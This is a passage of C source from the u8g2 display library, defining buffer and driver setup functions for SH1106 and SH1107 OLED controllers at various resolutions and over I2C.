u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1106_i2c_128x64_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_winstar, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 */ /* sh1106 1 */ void u8g2_Setup_sh1106_72x40_wise_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_72x40_wise, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_9_5_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 2 */ void u8g2_Setup_sh1106_72x40_wise_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_72x40_wise, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_9_5_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 f */ void u8g2_Setup_sh1106_72x40_wise_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_72x40_wise, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_9_5_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 */ /* sh1106 1 */ void u8g2_Setup_sh1106_i2c_72x40_wise_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_72x40_wise, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_9_5_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 2 */ void u8g2_Setup_sh1106_i2c_72x40_wise_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_72x40_wise, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_9_5_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 f */ void u8g2_Setup_sh1106_i2c_72x40_wise_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_72x40_wise, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_9_5_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 */ /* sh1106 1 */ void u8g2_Setup_sh1106_64x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_64x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 2 */ void u8g2_Setup_sh1106_64x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_64x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 f */ void u8g2_Setup_sh1106_64x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_64x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 */ /* sh1106 1 */ void u8g2_Setup_sh1106_i2c_64x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_64x32, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 2 */ void u8g2_Setup_sh1106_i2c_64x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_64x32, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1106 f */ void u8g2_Setup_sh1106_i2c_64x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_64x32, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_4_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 */ /* sh1107 1 */ void u8g2_Setup_sh1107_64x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_64x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 2 */ void u8g2_Setup_sh1107_64x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_64x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 f */ void u8g2_Setup_sh1107_64x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_64x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 */ /* sh1107 1 */ void u8g2_Setup_sh1107_i2c_64x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_64x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 2 */ void u8g2_Setup_sh1107_i2c_64x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_64x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 f */ void u8g2_Setup_sh1107_i2c_64x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_64x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_8_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 */ /* sh1107 1 */ void u8g2_Setup_sh1107_seeed_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_hjr_oel1m0201_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 2 */ void u8g2_Setup_sh1107_seeed_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_hjr_oel1m0201_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 f */ void u8g2_Setup_sh1107_seeed_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_hjr_oel1m0201_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 */ /* sh1107 1 */ void u8g2_Setup_sh1107_i2c_seeed_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_96x96, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 2 */ void u8g2_Setup_sh1107_i2c_seeed_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_96x96, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 f */ void u8g2_Setup_sh1107_i2c_seeed_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_96x96, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_i2c_hjr_oel1m0201_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_12_12_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 */ /* sh1107 1 */ void u8g2_Setup_sh1107_128x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x80, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_10_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_tk078f288_80x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_10_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 2 */ void u8g2_Setup_sh1107_128x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x80, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_10_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_tk078f288_80x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_10_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 f */ void u8g2_Setup_sh1107_128x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x80, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_10_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_tk078f288_80x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_10_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 */ /* sh1107 1 */ void u8g2_Setup_sh1107_i2c_128x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x80, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_10_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_i2c_tk078f288_80x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_10_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 2 */ void u8g2_Setup_sh1107_i2c_128x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x80, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_10_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_i2c_tk078f288_80x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_10_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 f */ void u8g2_Setup_sh1107_i2c_128x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x80, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_10_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_i2c_tk078f288_80x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_10_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 */ /* sh1107 1 */ void u8g2_Setup_sh1107_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_pimoroni_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_seeed_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 2 */ void u8g2_Setup_sh1107_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_pimoroni_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_seeed_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 f */ void u8g2_Setup_sh1107_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_pimoroni_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_seeed_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_seeed_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sh1107 */ /* sh1107 1 */ void u8g2_Setup_sh1107_i2c_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_128x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_i2c_pimoroni_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sh1107_pimoroni_128x128, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_sh1107_i2c_seeed_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; 